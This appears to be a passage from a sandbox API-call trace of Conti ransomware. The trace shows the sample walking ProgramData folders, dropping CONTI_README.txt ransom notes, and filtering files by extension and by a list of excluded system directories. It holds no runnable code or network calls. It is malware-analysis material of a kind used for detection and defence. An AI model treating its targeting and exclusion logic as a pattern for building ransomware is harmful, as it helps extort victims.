	[0106.396] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\CONTI_README.txt"
	[0106.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.401] GetProcessHeap () returned 0x1720000
	[0106.401] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbcd8 | out: hHeap=0x1720000) returned 1
	[0106.401] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.401] CloseHandle (hObject=0x398) returned 1
	[0106.402] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80f0
	[0106.402] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.402] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.402] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.402] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.402] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53421cc0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53421cc0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.402] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.402] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.402] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.402] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.402] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.402] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.402] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.402] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.402] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 76
	[0106.402] lstrlenW (lpString="customizations.xml") returned 18
	[0106.402] GetProcessHeap () returned 0x1720000
	[0106.402] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cb698
	[0106.402] lstrcpyW (in: lpString1=0x17cb698, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.402] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\"
	[0106.402] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"
	[0106.403] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.403] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.403] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.403] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.403] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 76
	[0106.403] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.403] GetProcessHeap () returned 0x1720000
	[0106.403] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d578
	[0106.403] lstrcpyW (in: lpString1=0x181d578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.403] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\"
	[0106.403] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml"
	[0106.403] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.403] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 76
	[0106.404] lstrlenW (lpString="Prov") returned 4
	[0106.404] GetProcessHeap () returned 0x1720000
	[0106.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.404] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\"
	[0106.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov"
	[0106.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned 81
	[0106.404] GetProcessHeap () returned 0x1720000
	[0106.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x65103e8
	[0106.404] lstrcpyW (in: lpString1=0x65103e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov"
	[0106.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*"
	[0106.404] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned 81
	[0106.404] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.404] GetProcessHeap () returned 0x1720000
	[0106.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d098
	[0106.404] lstrcpyW (in: lpString1=0x181d098, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov"
	[0106.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\"
	[0106.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\CONTI_README.txt"
	[0106.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.407] GetProcessHeap () returned 0x1720000
	[0106.407] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d098 | out: hHeap=0x1720000) returned 1
	[0106.407] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.408] CloseHandle (hObject=0x3a0) returned 1
	[0106.408] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8330
	[0106.408] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.408] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.408] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.409] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.409] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53447efb, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53447efb, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.409] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.409] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.409] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.409] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.409] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.409] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned 81
	[0106.409] lstrlenW (lpString="RunTime") returned 7
	[0106.409] GetProcessHeap () returned 0x1720000
	[0106.409] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.409] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov"
	[0106.409] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\"
	[0106.409] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime"
	[0106.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned 89
	[0106.409] GetProcessHeap () returned 0x1720000
	[0106.409] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.409] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime"
	[0106.409] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*"
	[0106.409] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned 89
	[0106.409] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.410] GetProcessHeap () returned 0x1720000
	[0106.410] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.410] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime"
	[0106.410] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\"
	[0106.410] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.410] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0106.414] GetProcessHeap () returned 0x1720000
	[0106.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.414] WriteFile (in: hFile=0x3b0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.414] CloseHandle (hObject=0x3b0) returned 1
	[0106.415] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82f0
	[0106.415] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.415] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53447efb, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
